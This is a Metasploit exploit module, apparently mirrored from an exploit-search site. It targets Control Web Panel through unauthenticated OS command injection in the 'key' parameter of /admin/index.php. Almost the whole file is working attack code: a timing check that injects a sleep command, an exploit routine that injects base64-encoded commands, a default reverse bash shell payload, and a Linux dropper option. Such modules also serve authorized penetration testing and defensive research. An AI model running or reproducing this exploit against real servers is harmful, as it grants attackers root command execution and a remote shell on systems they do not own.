Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-CONTROL_WEB_PANEL_API_CMD_EXEC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE',
        'Description' => %q{
          Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to
          unauthenticated OS command injection. User input passed via the
          "key" GET parameter to /admin/index.php (when the "api" parameter is set)
          is not properly sanitized before being used to execute OS commands.
          This can be exploited by unauthenticated attackers to inject and execute
          arbitrary OS commands with the privileges of the root user on the web server.

          Successful exploitation usually requires "Softaculous" and/or "SitePad"
          to be installed through the Scripts Manager.
        },
        'Author' => [
          'Lukas Johannes Möller', # Metasploit module
          'Egidio Romano' # Vulnerability discovery
        ],
        'References' => [
          ['CVE', '2025-67888'],
          ['URL', 'https://karmainsecurity.com/KIS-2025-09'],
          ['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'],
          ['URL', 'https://control-webpanel.com']
        ],
        'DisclosureDate' => '2025-12-16',
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Arch' => ARCH_ALL,
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_ALL,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              },
              'Payload' => {
                'Encoder' => 'cmd/base64',
                'BadChars' => "\x00\x20"
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_ALL
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(2031)
    ])
  end

  def check
    sleep_time = rand(5..10)

    print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...")

    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri('/admin/index.php'),
        'vars_get' => {
          'api' => '1',
          'key' => "$(sleep #{sleep_time})"
        }
      )
    end

    vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds")

    return CheckCode::Unknown('No response from server.') unless res
    return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time

    CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('/admin/index.php'),
      'vars_get' => {
        'api' => '1',
        'key' => "$(#{cmd})"
      }
    )
  end
end